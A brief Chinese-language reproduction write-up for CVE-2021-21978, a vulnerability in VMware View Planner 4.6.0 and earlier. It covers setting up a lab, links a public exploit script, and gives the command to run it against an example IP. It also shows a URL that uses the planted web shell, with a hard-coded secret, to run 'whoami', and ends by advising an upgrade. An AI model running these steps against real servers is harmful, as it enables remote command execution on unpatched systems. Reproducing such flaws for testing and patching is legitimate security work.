简介

 

View Planner是VMware官方推出的一款针对view桌面的测试工具，通过这个测试工具可以估算出在指定的应用环境下可以发布多少个view桌面。

 

影响版本

VMware View Planner <= 4.6.0

 

 

环境搭建

 

https://my.vmware.com/en/group/vmware/downloads/details?downloadGroup=VIEW-PLAN-460&productId=1067&rPId=53394

直接导入

 

漏洞复现

 

Exp地址

https://github.com/skytina/CVE-2021-21978

py -3 CVE-2021-21978.py https://192.168.1.100/

访问https://192.168.1.100//logupload?secert=NiuNiu2020&command=whoami

 

修复建议

 

升级到安全版本